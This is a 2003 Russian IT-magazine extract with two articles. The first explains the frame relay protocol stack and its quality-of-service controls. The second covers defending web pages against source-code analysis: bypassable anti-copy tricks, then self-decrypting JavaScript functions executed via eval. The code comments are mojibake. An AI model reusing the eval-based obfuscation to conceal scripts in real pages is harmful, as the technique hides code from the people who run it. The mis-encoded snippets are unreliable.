Стек протоколов frame relay Технология frame relay использует для передачи данных технику виртуальных соединений, аналогичную той, которая применялась в сетях Х.25, однако стек протоколов frame relay передает кадры (при установленном виртуальном соединении) по протоколам только физического и канального уровней, в то время как в сетях Х.25 и после установления соединения пользовательские данные передаются протоколом 3-го уровня. Кроме того, протокол канального уровня LAP-F в сетях frame relay имеет два режима работы: основной (core) и управляющий (control). В основном режиме, который физически практикуется в сегодняшних сетях frame relay, кадры передаются без преобразования и контроля, как и в коммутаторах локальных сетей. За счет данной особенности описываемой технологии она обладает высокой производительностью, а сеть не передает квитанции подтверждения между коммутаторами на каждый пользовательский кадр, как это происходит в сети Х.25. Пульсации трафика передаются достаточно быстро и без больших задержек. При таком подходе уменьшаются накладные расходы при передаче пакетов локальных сетей, так как они вкладываются сразу в кадры канального уровня, а не в пакеты сетевого уровня, как это происходит в сетях, построенных на базе технологии Х.25.

27

администрирование Структура стека frame relay хорошо отображает ее происхождение в недрах технологии ISDN, так как сети frame relay заимствуют многое из стека протоколов ISDN, особенно в процедурах установления коммутируемого виртуального канала. Основу технологии составляет протокол LAP-F core, который является весьма упрощенной версией протокола LAP-D. Протокол LAP-F (стандарт Q.922 ITU-T) работает на любых каналах сети ISDN, а также на каналах типа T1/E1. Терминальное оборудование посылает в сеть кадры LAP-F, в любой момент времени считая, что виртуальный канал в сети коммутаторов уже проложен. При использовании PVC оборудованию frame relay нужно поддерживать только протокол LAP-F core. Протокол LAP-F control является необязательной надстройкой над LAP-F core, которая выполняет функции контроля доставки кадров и управления потоком. С помощью протокола LAP-F control сетью реализуется служба switching. Для установки коммутируемых виртуальных каналов стандарт ITU-T предлагает канал D пользовательского интерфейса. На нем работает протокол LAP-D, который используется для надежной передачи кадров в сетях ISDN. Поверх этого протокола работает протокол Q.931 или протокол Q.933 (который является упрощением и модификацией протокола Q.931 ISDN), устанавливающий виртуальное соединение на основе адресов конечных абонентов (в стандарте Е.164 или ISO 7498), а также номера виртуального соединения, которое в технологии frame relay носит название Data Link Connection Identifier (DLCI). После того как коммутируемый виртуальный канал в сети frame relay установлен посредством протоколов LAP-D и Q.931/933, кадры могут транслироваться по протоколу LAP-F, который коммутирует их с помощью таблиц коммутации портов, в которых используются локальные значения DLCI. Протокол LAP-F core выполняет не все функции канального уровня по сравнению с протоколом LAP-D, поэтому ITU-T

28

изображает его на пол-уровня ниже, чем протокол LAP-D, оставляя место для функций надежной передачи пакетов протоколу LAP-F control. Из-за того что технология frame relay заканчивается на канальном уровне, она хорошо согласуется с идеей инкапсуляции пакетов единого сетевого протокола, например IP, в кадры канального уровня любых сетей, составляющих интрасеть. Процедуры взаимодействий протоколов сетевого уровня с технологией frame relay стандартизированы, например, принята спецификация RFC 1490, определяющая методы инкапсуляции в трафик frame relay трафика сетевых протоколов и протоколов канального уровня локальных сетей и SNA. Другой особенностью технологии frame relay является отказ от коррекции обнаруженных в кадрах искажений. Протокол frame relay подразумевает, что конечные узлы будут обнаруживать и корректировать ошибки за счет работы протоколов транспортного или более высоких уровней. Это требует некоторой степени интеллектуальности от конечного оборудования, что по большей части справедливо для современных локальных сетей. В этом отношении технология frame relay близка к технологиям локальных сетей, таких как Ethernet, Token Ring и FDDI, которые тоже только отбрасывают искаженные кадры, но сами не занимаются их повторной передачей. В основу структуры кадра LAP-F был взят формат кадра HDLC, но поле адреса существенно изменило свой формат, а поле управления вообще отсутствует. Технология frame relay, обеспечивает основные параметры качества транспортного обслуживания, необходимые при объединении локальных сетей. Вместо приоритезации трафика используется процедура заказа качества обслуживания при установлении соединения, отсутствующая в сетях Х.25 и пробивающая себе дорогу в сетях ТCP/IP в форме экспериментального протокола RSVP, который пока не нашел широкого применения. В технологии frame relay заказ и поддержка качества обслу-

живания встроены. Для каждого виртуального соединения определяется несколько параметров, влияющих на качество обслуживания: CIR (Commited Information Rate) – согласованная информационная скорость, с которой сеть будет передавать данные пользователя; Bc (Commited Burst Size) – согласованный объем пульсации, то есть максимальное количество байт, которое сеть будет передавать от этого пользователя за интервал времени Т; Be (Excess Burst Size) – дополнительный объем пульсации, то есть максимальное количество байт, которое сеть будет пытаться передать сверх установленного значения Bc за интервал времени T. Если эти величины определены, то время Т вычисляется по формуле: T=Bc/CIR. Можно задать значения CIR и T, тогда производной величиной станет величина всплеска трафика Bc. Гарантий по задержкам передачи кадров технология frame relay не дает, оставляя эту услугу сетям АТМ. Основным параметром, по которому абонент и сеть заключают соглашение при установлении виртуального соединения, является согласованная скорость передачи данных. Для постоянных виртуальных каналов это соглашение является частью контракта на пользование услугами сети. При установлении коммутируемого виртуального канала соглашение о качестве обслуживания заключается автоматически с помощью протокола Q.931/933. Требуемые параметры CIR, Bc, Be передаются в пакете запроса на установление соединения. Так как скорость передачи данных измеряется на каком-то интервале времени, то интервал Т и является таким контрольным интервалом, на котором проверяются условия соглашения. В общем случае пользователь не должен за этот интервал передавать в сеть данные со средней скоростью, превосходящей

администрирование CIR. Если же он нарушает соглашение, то сеть не только не гарантирует доставку кадра, но помечает этот кадр признаком DE (Discard Eligibility), равным 1, то есть как кадр, подлежащий удалению. Однако кадры, отмеченные таким признаком, удаляются из сети только в том случае, если коммутаторы сети испытывают перегрузки. Если же нет перегрузок, то кадры с признаком DE=1 доставляются адресату. Для контроля соглашения о параметрах качества обслуживания все коммутаторы сети frame relay выполняют так называемый алгоритм “дырявого ведра” (Leaky Bucket). Алгоритм использует счетчик С поступивших от пользователя байт. Каждые Т секунд этот счетчик уменьшается на величину Bc (или же сбрасывается в 0, если значение счетчика меньше чем Bc). Все кадры, данные которых не увеличили значение счетчика свыше порога Bc, пропускаются в сеть со значением признака DE=0. Кадры, данные которых привели к значению счетчика, большему Вс, но меньшему Вс+Ве, также передаются в сеть, но с признаком DE=1. И наконец, кадры, которые привели к значению счетчика, большему Bc+Be, отбрасываются коммутатором. Пользователь может договориться о включении не всех параметров качества обслуживания на данном виртуальном канале, а только некоторых. Например, можно использовать только параметры CIR и Вс. Этот вариант дает более качественное обслуживание, так как кадры никогда не отбрасываются коммутатором сразу. Коммутатор только помечает кадры, которые превышают порог Вс за время Т, признаком DE=1. Если сеть не сталкивается с перегрузками, то кадры такого канала всегда доходят до конечного узла, даже если пользователь постоянно нарушает договор с сетью. Популярен еще один вид заказа на качество обслуживания, при котором оговаривается только порог Ве, а скорость CIR полагается равной нулю. Все кадры такого канала сразу же отмечаются признаком DE=1, но отправляются в сеть, а при

№2(3), март 2003

превышении порога Ве они отбрасываются. Контрольный интервал времени Т в этом случае вычисляется, как Be/R, где R – скорость доступа канала. Механизм заказа средней пропускной способности и максимальной пульсации является основным механизмом управления потоками кадров в сетях frame relay. Соглашения должны заключаться таким образом, чтобы сумма средних скоростей виртуальных каналов не превосходила возможностей портов коммутаторов. При заказе постоянных каналов за это отвечает администратор, а при установлении коммутируемых виртуальных каналов – программное обеспечение коммутаторов. При правильно взятых на себя обязательствах сеть борется с перегрузками путем удаления кадров с признаком DE=1 и кадров, превысивших порог Вс+Ве. Тем не менее в технологии frame relay определен еще и дополнительный (необязательный) механизм управления кадрами. Это механизм оповещения конечных пользователей о том, что в коммутаторах сети возникли перегрузки (переполнение необработанными кадрами). Бит FECN (Forward Explicit Congestion Bit) кадра извещает об этом принимающую сторону. На основании значения этого бита принимающая сторона должна с помощью протоколов более высоких уровней (TCP/IP, SPX и т. п.) известить передающую сторону о том, что та должна снизить интенсивность отправки пакетов в сеть. Бит BECN (Backward Explicit Congestion Bit) извещает о переполнении в сети передающую сторону и является рекомендацией немедленно снизить темп передачи. Бит BECN обычно обрабатывается на уровне устройств доступа к сети frame relay: маршрутизаторов, мультиплексоров и устройств CSU/DSU. Протокол frame relay не требует от устройств, получивших кадры у установленных битами FECN и BECN, немедленного прекращения передачи кадров в данном направлении, как того требуют кадры RNR сетей Х.25. Эти биты должны служить указанием для протоколов более высоких уровней (TCP, SPX, NCP) о сни-

жении темпа передачи пакетов. Так как регулирование потока инициируется в разных протоколах по-разному – как принимающей стороной, так и передающей, – то разработчики протоколов frame relay учли оба направления снабжения предупреждающей информацией о переполнении сети. В общем случае биты FECN и BECN мог ут игнорироваться. Но обычно устройство доступа к сети frame relay (Frame Relay Access Device, FRAD) обрабатывает по крайней мере признак BECN. При создании коммутируемого виртуального канала параметры качества обслуживания передаются в сеть с помощью протокола Q.931. Этот протокол устанавливает виртуальное соединение с помощью нескольких служебных пакетов. Абонент сети frame relay, который хочет установить виртуальное соединение с другим абонентом, должен передать в сеть по каналу D сообщение SETUP, которое имеет несколько параметров, в том числе: DLCI; адрес назначения (в формате E.164, X.121 или ISO 7498); максимальный размер кадра в данном виртуальном соединении; запрашиваемое значение CIR для двух направлений; запрашиваемое значение Bc для двух направлений; запрашиваемое значение Be для двух направлений. Коммутатор, с которым соединен пользователь, сразу же передает пользователю пакет CALL PROCEEDING – вызов обрабатывается. Затем он анализирует параметры, указанные в пакете, и если коммутатор может их удовлетворить (располагая, естественно, информацией о том, какие виртуальные каналы на каждом порту он уже поддерживает), то пересылает сообщение SETUP следующему коммутатору. Следующий коммутатор выбирается в соответствии с таблицей маршрутизации. Протокол автоматического составления таблиц маршрутизации для технологии frame relay не определен, поэтому может исполь-

29

администрирование зоваться фирменный протокол производителя оборудования или же статическое составление таблицы. Если все коммутаторы на пути к конечному узлу согласны принять запрос, то пакет SETUP передается в конечном счете вызываемому абоненту. Вызываемый абонент немедленно передает в сеть пакет CALL PROCEEDING и начинает обрабатывать запрос. Если запрос принимается, то вызываемый абонент передает в сеть новый пакет – CONNECT, который проходит в обратном порядке по виртуальному пути. Все коммутаторы должны отметить, что данный виртуальный канал принят вызываемым абонентом. При поступлении сообщения CONNECT вызывающему абоненту он должен передать в сеть пакет CONNECT ACKNOWLEDGE. Cеть также должна передать вызываемому абоненту пакет CONNECT ACKNOWLEDGE, на этом соединение считается установленным, и по виртуальному каналу могут передаваться данные.

Применение сетей frame relay Услуги frame relay обычно предоставляются теми же операторами, которые используют сети Х.25. Большая часть производителей выпускает сейчас коммутаторы, которые могут работать как по протоколам Х.25, так и по протоколам frame relay. Технология frame relay начинает занимать в территориальных сетях с коммутацией пакетов ту же нишу, которую заняла в локальных сетях технология Ethernet. Их роднит то, что они предоставляют только быстрые базовые транспортные услуги, доставляя кадры в узел назначения без гарантий дейтаграммным способом. Однако если кадры теряются, то сеть frame relay, как и сеть Ethernet, не предпринимает никаких усилий для их восстановления. Отсюда следует простой вывод: полезная пропускная способность прикладных протоколов при работе через сети frame relay будет зависеть от качества каналов и методов восстановления пакетов на уровнях стека, расположенного над протоколами frame relay. Если каналы каче-

30

ственные, то кадры будут теряться и искажаться редко, так что скорость восстановления пакетов протоколом TCP или NCP будет вполне приемлема. Если же кадры теряются и искажаются часто, то полезная пропускная способность в сети frame relay может упасть в десятки раз, как это происходит в сетях Ethernet при плохом состоянии кабелей. Поэтому сети frame relay следует применять только при наличии на магистральных каналах волоконнооптических кабелей высокого качества. Каналы доступа могут быть и на витой паре, как это разрешает интерфейс G.703 или абонентское окончание ISDN. Используемая на каналах доступа аппаратура передачи данных должна обеспечить приемлемый уровень искажения данных – 106. На величины задержек сеть frame relay гарантий не дает, – и это основная причина, которая ограничивает применение этих сетей для передачи голоса. Передача видеоряда также не удовлетворяет всем требованиям, так как пропускная способность в 2Мбит/c является недостаточной. Тем не менее многие производители оборудования для сетей frame relay поддерживают в своих решениях передачу голоса. Поддержка устройствами доступа заключаются в присвоении кадрам, переносящим замеры голоса, приоритетов. Магистральные коммутаторы frame relay должны обслуживать такие кадры в первую очередь. Кроме того, желательно, чтобы сеть frame relay, передающая кадры с замерами голоса, была недогруженной. При этом в коммутаторах не возникнет очереди кадров, и средние задержки в очередях будут близки к нулевым. Необходимо также соблюдение еще одного условия для качественной передачи голоса – передавать замеры голоса необходимо в кадрах небольших размеров, иначе на качество передачи будут влиять задержки упаковки замеров в кадр, так называемые задержки пакетизации. Для стандартизации механизмов качественной передачи голоса через сеть frame relay выпущена спецификация FRF.11. Однако в ней решены

еще не все проблемы передачи голоса, поэтому работа в этом направлении продолжается. Ввиду преобладания в коммерческих сетях frame relay услуг постоянных коммутируемых каналов и гарантированной пропускной способности, эти сети предоставляют услуги, очень похожие на услуги дробных выделенных линий T1/E1, но только за существенно меньшую плату. При использовании PVC сеть frame relay хорошо подходит для объединения локальных сетей с помощью мостов, так как в этом случае от моста не нужна поддержка механизма установления виртуального канала, что требует некоторого программного “интеллекта”. Мост может отправлять кадры протокола Ethernet или FDDI непосредственно в кадрах LAP-F или же может использовать поверх протокола LAPF протокол РРР. Стандарт Internet RFC 1490 определяет формат заголовка SNAP для случая передачи через сеть frame relay непосредственно кадров канального уровня. Чаще доступ к сетям frame relay реализуют не удаленные мосты, а маршрутизаторы, которые в случае поддержки на последовательных портах протокола frame relay как основного называют устройствами доступа FRAD (хотя и мост, и любое устройство, которое поддерживает протоколы UNI frame relay, относятся к класу FRAD). Так как сети frame relay передают кадры с небольшими задержками, с их помощью часто передают трафик сетей SNA, особенно в том случае, когда они используют такие чувствительные к задержкам протоколы, как SDLC (фирменный протокол канального уровня компании IBM). Виртуальные каналы в качестве основы построения корпоративных сетей имеют один недостаток – при большом количестве точек доступа и смешанном характере связей необходимо большое количество виртуальных каналов, каждый из которых оплачивается отдельно. В сетях с маршрутизацией отдельных пакетов, таких как TCP/IP, абонент платит только за количество точек доступа, а не за количество связей между ними.

МОЖНО ЛИ ЗАЩИТИТЬ ВЕБ-СТРАНИЦЫ ОТ АНАЛИЗА ИСХОДНОГО КОДА?

Можно ли как-то помешать программисту-профессионалу, располагающему сколь угодно богатым арсеналом специализированных программ – отладчиком, собственной версией браузера с исходными текстами, виртуальной машиной и любыми другими средствами – проанализировать исходный HTML-код вебстраницы или, по крайней мере, клиентский JavaScript? Если это и возможно, то так же трудно, как реализация схемы защиты, описанной в этой статье.

программирование

ДАНИИЛ АЛИЕВСКИЙ

Формат HTML – самый популярный формат для представления веб-страниц – изначально разрабатывался как открытый. Это значит, что любой посетитель, который видел вебстраницу в своем браузере, при желании всегда мог увидеть исходный HTML-текст этой страницы. Подобная возможность была встроена почти во все браузеры. Например, в Internet Explorer это команда меню View/Source. Такое положение дел всех устраивало, пока веб-страницы были сравнительно несложные. Язык HTML тогда использовался в основном для выделения гиперссылок, вставки графики и стилевого оформления текста. В этой ситуации исходный HTML-текст отличался от того, что посетитель видел на экране, только сравнительно небольшим количеством простых тегов, управляющих заголовками, курсивом, жирностью, таблицами и т. п. Прятать от пользователя такой HTML-текст не было особого смысла. Любой HTML-верстальщик cмог бы без особого труда воспроизвести его (или написать эквивалентный), просто глядя на экран готовой вебстраницы. Но постепенно приемы верстки усложнялись, появились стили и, самое главное, стал широко применяться язык JavaScript. Ускорение связи сделало возможным встраивание в HTML-страницы нетривиальных JavaScriptпрограмм, которые при желании могут насчитывать десятки тысяч строк кода. Сегодня достаточно сложная веб-страница уже не отличается от программы, написанной на традиционном языке типа Delphi или C++ и реализующей некоторый пользовательский интерфейс. В такой ситуации открытость формата HTML иногда оказывается нежелательной. Стандарты HTML и JavaScript как бы «навязывают» соглашение, по которому все исходные тексты программ автоматически доступны конечному пользователю. Но в мире обычных программ только сторонники движения «Open Source» придерживаются такого подхода. Остальные разработчики склонны рассматривать свой исходный код как коммерческую тайну или «ноу-хау». Более того, в некоторых случаях разработчики стараются помешать даже изучению скомпилированного машинного кода (или виртуального байт-кода, как в случае Java). Для этого применяют различные приемы защиты от дизассемблирования и отладки. Кроме соображений «коммерческой тайны» возможны случаи, когда открытость исходного кода веб-страниц недопустима по самому замыслу. Возьмем, например, веб-страницу, содержащую некоторый тест. По его результатам, которые посетитель должен куда-то отправить, принимаются какие-то решения. Такой тест в принципе нельзя реализовывать в рамках открытого HTML и JavaScript – иначе любой грамотный программист легко подделает результаты тестирования, просто подсмотрев в JavaScript-коде правильные ответы. Обычно приходится использовать серверное решение – ответы посетителя обрабатываются серверным скриптом. Но у такого решения есть свои минусы: например, необходимость в течение всего прохождения теста поддерживать связь с Интернетом или высокая нагрузка на сервер при достаточной его популярности. Возникает естественный вопрос: можно ли как-то помешать посетителю веб-страницы получить и проанализиро-

33

программирование вать ее исходный HTML-код или хотя бы используемый клиентский JavaScript? Иначе говоря, можно ли защитить вебстраницу от взлома? Я попытаюсь подробно ответить на этот вопрос. Вначале мы рассмотрим типичные способы «защиты», к которым прибегают неопытные веб-программисты, и расскажем, как можно легко их преодолеть. Затем мы попробуем выстроить защитную технологию, которая смогла бы реально противодействовать взломщикам. Сразу оговорюсь: я не располагаю готовым программным пакетом, позволяющим автоматизировать защиту страниц. Я также никогда не реализовывал описываемую далее систему защиты для своих веб-страниц. Описываемая схема рассматривается чисто теоретически. Я также не думаю, что защита от взлома именно языков HTML и JavaScript – действительно актуальная задача, по крайней мере, сегодня. Пока что, по моему личному мнению, эти языки еще «не тянут» на роль профессиональной технологии разработки нетривиального программного обеспечения. Если действительно требуется разработать клиентское приложение, серьезно защищенное от анализа исходных текстов, то, наверное, рациональнее написать его на других языках программирования. Но с теоретической точки зрения задача защиты исходных текстов HTML и JavaScript, как мне кажется, представляет интерес именно потому, что эти языки крайне уязвимы для взлома. Технологии, которые позволили бы защитить от анализа исходных текстов HTML/JavaScript-программу, скорее всего, окажутся применимыми практически к любому другому языку. Еще одна необходимая оговорка. Я не берусь утверждать, что предлагаемые здесь идеи действительно позволяют создать надежную защиту. Может быть, можно придумать программу, автоматически «взламывающую» любую защиту, наподобие описанных далее. Если вы найдете принципиальные упущения в приведенных далее построениях или, наоборот, придумаете альтернативную систему защиты – буду рад обсудить это на форуме xpoint.ru, а лучше пишите на daniel@siams.com. Во всяком случае, я надеюсь, приведенные ниже рассуждения помогут новичкам вовремя остановиться в процессе разработки новой уникальной системы защиты, которая взламывается профессионалом за 3 минуты. А если кому-то действительно всерьез понадобится защитить свои страницы, возможно, эта статья сможет помочь.

Постановка задачи Предметом нашего обсуждения будет одна HTML-страница либо несколько взаимосвязанных HTML-страниц и JavaScript-файлов, подключаемых тегом:

лучение всех исходных текстов с пониманием логики их работы, с тем чтобы создать аналогичный либо совершенно другой продукт, пользуясь украденными фрагментами HTML- и JavaScript-кода. Мы исходим из того, что в распоряжении потенциального взломщика имеются любые программные средства, которые уже существуют или могут быть в принципе разработаны. Например, взломщиком может быть программист компании Microsoft, располагающий полным исходным текстом самого популярного браузера Internet Explorer. Такой программист вполне может чуть-чуть «подправить» браузер с тем, чтобы любой HTML- или JavaScript-код, который браузеру приходится интерпретировать, автоматически сохранялся в протоколе на диске. (Недооценка подобных возможностей взломщика-профессионала – одна из самых типичных ошибок новичков, пытающихся защитить свои страницы.) Мы также предполагаем, что взломщик и «законный» посетитель находятся в равных условиях. В частности, если для начала работы «законный» посетитель вводит какието пароли, то предполагается, что взломщик знает все эти пароли. Веб-приложение должно исполняться (визуализироваться и реагировать на действия пользователя) с помощью HTML- или JavaScript-кода, расположенного на компьютере клиента. В идеале пользователь должен иметь возможность отключиться от Интернета и работать с веб-приложением в режиме off-line, пользуясь копиями файлов приложения, которые браузер поместил в свой внутренний кэш. Данное требование можно немного ослабить: допустить небольшой обмен данными с сервером (скажем, для целей защиты). Но мы не рассматриваем ситуацию, когда весь нетривиальный код «прячется» банальным образом: интерпретируется полностью на сервере. Дополнительное требование: веб-приложение должно корректно работать хотя бы в некоторых стандартных браузерах, скажем, Internet Explorer или Netscape.

«Несерьезные» приемы Рассмотрим сначала небольшую коллекцию «несерьезных» приемов, к которым часто прибегают веб-программисты, пытаясь защитить свои страницы. Простейшие из этих приемов настолько наивны, что скорее поучительны в качестве примера, как делать не надо. Но лучшие из них вполне подойдут, чтобы организовать простейшую защиту от самых непрофессиональных или ленивых взломщиков. В отличие от серьезных методов защиты подобные «несерьезные» приемы почти ничего не стоят разработчику страниц.

Самый наивный прием – борьба с мышкой <script language="JavaScript" src="..."></script>

Вместе этот блок файлов мы будем называть веб-приложением. Наша цель – защитить HTML- и JavaScript-код веб-приложения настолько хорошо, чтобы стоимость его взлома была существенно выше стоимости разработки эквивалентного веб-приложения. Под взломом подразумевается по-

34

Очень многие авторы «систем защиты» в первую очередь начинают рассуждать следующим образом. Чтобы увидеть исходный текст страницы, посетитель должен выбрать в браузере команду «View Source». Самый типичный способ это сделать – «всплывающее» меню, доступное по правой кнопке мышки. Пишем на JavaScript обработчик нажатия правой кнопки мышки, который вместо визуализации локального меню высвечивает какое-ни-

программирование будь ругательство. Есть еще команда «View/Source» в основном меню браузера. Кладем главную страницу внутрь фрейма: тогда Internet Explorer покажет по этой команде тривиальный FRAMESET. А если умный пользователь увидит внутри FRAMESET адрес страницы с фреймом и откроет ее непосредственно? И с этим можно справиться – достаточно проверить в JavaScript, что мы находимся внутри нужного фрейма, и если это не так, то сразу уйти на страницу с «ругательствами». Одна из самых очевидных ошибок таких авторов – они забывают про кэш браузера. Обычно проще всего получить все исходные тексты, «спрятанные» таким образом, очистив кэш в Internet Explorer и затем зайдя на «защищенную» веб-страницу. После этого достаточно заглянуть в папку «Temporary Internet Files» и обнаружить там все «спрятанные» HTML- и JavaScript-файлы. С кэшированием, правда, можно бороться.

Борьба с кэшированием Более «подкованные» разработчики защитных механизмов могут вспомнить про кэширование страниц и попытаться его отключить. В принципе это не так уж сложно. Для запрета кэширования существуют специальные элементы в заголовке HTTP-ответа: Pragma: no-cache Cache-Control: no-cache

(имеет смысл указать оба элемента). Заголовок HTTP-ответа достаточно легко настраивается в любом сервере. Для тех, кто не имеет доступа к нужным настройкам своего сервера, существуют эквивалентные META-теги в самом HTML: <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Cache-Control" content="no-cache">

Очевидный метод «взлома» таких способов «защиты» – использование нестандартного браузера, игнорирующего указание «не кэшировать страницы». Нужно иметь в виду, что если единственная задача взломщика – получить на диске точную копию HTML-страницы или подключаемого JavaScript-файла, то «браузер», решающий такую задачу, пишется за 10 минут на любом языке типа Perl или Java. Все, что нужно – отправить на сервер стандартный запрос по HTTP-протоколу (например, такой же, какой выдает Internet Explorer), получить соответствующий ответ и сохранить его на диске. В большинстве современных языков программирования такая задача решается тривиально. Существует и общее решение, позволяющее справиться с любым видом «блокировки кэширования». Это proxyсервер, устанавливаемый на клиентский компьютер и «пропускающий через себя» без модификаций все HTTPзапросы. Такой proxy может быть совершенно «невидимым» и для клиента, и для сервера. «По пути» proxy-сервер может сохранять на диске все проходящие через него HTML- и JavaScript-файлы. Скажу больше: proxy-сервер с такими возможностями, скорее всего, уже давно существует, например, среди бесплатных утилит ускорения доступа в Интернет.

№3(4), март 2003

Нестандартная обработка запросов к файлам Однажды я столкнулся с любопытной схемой защиты, основанной на нестандартной реакции веб-сервера на самый обыкновенный (с виду) файл. К HTML-странице был подключен сложный JavaScript-файл с традиционным расширением .js. Но это был не обычный текстовый файл, а PHP-скрипт, возвращающий браузеру JavaScript-код. Веб-сервер был настроен таким образом, что конкретно этот файл с расширением .js обрабатывался интерпретатором PHP. PHP-скрипт полностью анализировал заголовок HTTPзапроса, посылаемый браузером серверу. Каждый такой заголовок среди прочего содержит поле «Referer»: URL документа, инициировавшего данный запрос (если таковой имеется). Для Java-скриптов, подключаемых тегом: <script language="JavaScript" src="..."></script>

Поле «Referer» в заголовке запроса всегда содержит адрес HTML-страницы, внутри которой находится указанный тег. Если же попытаться прочитать тот же Java-скрипт, просто набрав его URL в адресной строке браузера, то поле «Referer» будет отсутствовать.

PHP-скрипт, «притворявшийся» обычным .js-файлом, проверял, действительно ли «Referer» соответствует адресу страницы, к которой этот JavaScript должен быть подключен, или одной из таких страниц. Если это условие соблюдалось, то PHP возвращал корректный работоспособный JavaScript. В противном случае возвращался другой JavaScript – тоже сложный, но совершенно бесполезный. Конечно, кэширование этого JavaScript-файла было отключено. Подобную защиту в принципе преодолеть так же просто, как и обычную блокировку кэширования, например, с помощью клиентского proxy-сервера, описанного в предыдущем пункте. Однако ленивый хакер, взламывающий «подручными средствами», вполне может оказаться сбитым с толку.

Cамогенерация методом document.writeln() Из сказанного выше должно быть ясно, что защищаемые веб-страницы лучше всего разрабатывать таким образом, чтобы знание их исходных текстов и исходных текстов всех подключаемых JavaScript-файлов было недостаточным. Основным приемом в данном случае является самогенерация страницы JavaScript-методом document. writeln().

HTML-страница (включающая, возможно, некоторый JavaScript) в этом случае «зашифровывается» в виде некоторой бессмысленной на вид строки символов – строковой константы языка JavaScript. Затем вызывается некоторая JavaScript-функция, расшифровывающая эту строку, и ее результат передается методу document.writeln(). В Интернете можно найти специальные утилиты, выполняющие подобное преобразование с готовой HTML-страницей. Некоторые из них при этом выполняют сжатие данных, так что «бессмысленная» строка оказывается короче исходного HTML- и JavaScript-кода. При банальной реализации подобную защиту тоже легко взломать. Ведь страница уже «вынужденно» содержит процедуру расшифровки! Ничто не мешает слегка подпра-

35

программирование вить исходный текст страницы и вставить перед вызовом document.writeln() распечатку аргумента этого метода в любое место, откуда его легко прочитать. Тем не менее идея шифрования – одна из самых продуктивных. Мы это увидим в следующих разделах, когда будем пытаться создать «серьезную» систему защиты. Пока что заметим: ниоткуда не следует, что первый же вызов процедуры расшифровки сразу «поднесет на блюдечке» взломщику полностью расшифрованный исходный текст страницы. Может быть, будет расшифрована только небольшая часть, содержащая, в свою очередь, вызов процедуры расшифровки для следующего фрагмента. Может быть, веб-приложение состоит из сотен небольших страниц и взаимосвязанных скриптов, в которых не так-то легко найти и «подправить» вызовы расшифровывающих процедур. Есть одна общая проблема, которую следует иметь в виду при использовании метода document. writeln(). Если содержимое страницы в Internet Explorer целиком выделить, скопировать в ClipBoard и затем попытаться вставить в какойнибудь HTML-редактор, например в FrontPage Editor, то содержимое страницы будет вставлено уже «в готовом виде». Если часть страницы (включая какие-то JavaScript-фрагменты) была сгенерирована вызовом document.writeln(), то в HTML-редактор попадет и скрипт, содержащий вызов и тот HTML-код, который им был создан.

Шифрование кода Мы переходим к рассмотрению более сложных технологий защиты исходного кода веб-страниц. Не буду утверждать, что они обеспечивают стопроцентную защиту. Может быть, можно разработать программное обеспечение, гарантирующее достаточно эффективный автоматизированный взлом описываемых далее защитных механизмов. Но во всяком случае, задача взлома этих механизмов неочевидна.

О защите видимого HTML-кода Сразу оговоримся. Описанные далее методы не позволяют защитить конечный HTML (без JavaScript), который пользователь в конце концов видит на защищенных страницах. Видимый HTML всегда можно скопировать из Internet Explorer через ClipBoard в HTML-редактор, как уже было сказано в предыдущем разделе. Мне трудно представить ситуацию, когда HTML, уже видимый пользователю, настолько сложен, что его крайне трудно воспроизвести по содержимому экрана и, соответственно, имеет смысл защищать от анализа. Серьезная защита уже визуализированного HTML невозможна в принципе. Это очевидно: всегда можно «слегка исправить» стандартный браузер, например Internet Explorer, так, чтобы в момент анализа HTML-кода и воспроизведения его на экране весь этот HTML сохранялся в протоколе на диске. Но на «несерьезном» уровне кое-какая защита все же возможна. Вот пример такой защиты для Internet Explorer, признаюсь, не слишком «изящной». Можно просто запретить пользователю выделять какие-либо фрагменты страницы, тогда он не сможет ничего скопировать в ClipBoard. Один из способов это сделать в Internet Explorer – 10 раз в секунду исполнять примерно такую конструкцию:

36

var rng= document.body.createTextRange(); rng.moveToPoint(0,0); rng.select();

Саморасшифровывающиеся функции Самый очевидный путь построения защиты основан на шифровании. Мы сосредоточимся только на защите JavaScriptкода: любой HTML-код можно сгенерировать динамически средствами JavaScript. Будем считать, что JavaScript-код, в соответствии с хорошим тоном программирования, состоит из большого количества не слишком больших функций. Мы начнем со следующей идеи. Давайте зашифруем основное тело каждой функции и добавим в ее начало код, расшифровывающий и исполняющий ее тело. В языке JavaScript это означает, что текст функции function somefunction() { êàêèå-òî îïåðàòîðû; }

заменяется на эквивалентный текст: function somefunction() { var encrypted= "..."; // çàøèôðîâàííûé òåêñò òåõ æå ñàìûõ îïåðàòîðîâ var source=decoding_function (encrypted); eval(source); }

Для выполнения такой замены, конечно, следует написать некую автоматическую (или автоматизированную) утилиту. При таком подходе функции постоянно существуют в зашифрованном виде вплоть до момента их вызова, и рассматривать их исходный текст сравнительно бесполезно. Используемый алгоритм шифрования, в частности его криптостойкость, не имеет значения. Все равно все ключи для расшифровки, если такие имеются, распространяются вместе с зашифрованными данными. Единственная цель шифрования – сделать текст JavaScript визуально нечитаемым. Собственно, разумнее всего вместо шифрования использовать какой-нибудь простой алгоритм сжатия типа Лемпеля-Зива. Мы не будем останавливаться на реализации такого алгоритма – это классическая задача, многократно описанная в литературе. Тут есть лишь один специфический подводный камень. Как правило, алгоритмы расшифровки (или распаковки сжатых данных) должны получать на вход массив бинарных данных – некоторую цепочку битов. А строчная JavaScript-константа, присваиваемая переменной encrypted оператором: var encrypted= "...";

по определению может содержать только текст. Следовательно, нужно как-то кодировать произвольные бинарные данные символами, допустимыми в строчной JavaScriptконстанте.

программирование Какие символы можно для этого использовать? HTMLили JavaScript-файл, содержащий приведенный выше фрагмент JavaScript, – это (скорее всего) обычный текстовый файл, в котором каждый символ кодируется одним байтом. Внутри же языка JavaScript все символы хранятся в формате Unicode по 2 байта на символ. Байты файла со значениями 0..127 всегда преобразуются в соответствующие символы Unicode, но для байтов 128..255 способ трансляции зависит от кодировки HTML-страницы, указанной HTTP-заголовком Content-Type или выбранной пользователем в браузере. Поэтому «безопасно» использовать в строчной константе только младшие 128 символов ASCII. Из них «отпадают» управляющие символы с кодами 0..31. Также не очень разумно использовать символы " и \, при записи которых в строчной константе нужно добавлять лишний символ \. Я бы рекомендовал использовать 64 заведомо «безопасных» символа, скажем, все латинские буквы, цифры и пару знаков препинания. Тогда с помощью каждого символа можно кодировать 6 битов информации. Эти биты можно передать расшифровывающему алгоритму для восстановления полного Unicode-текста исходного JavaScript-кода.

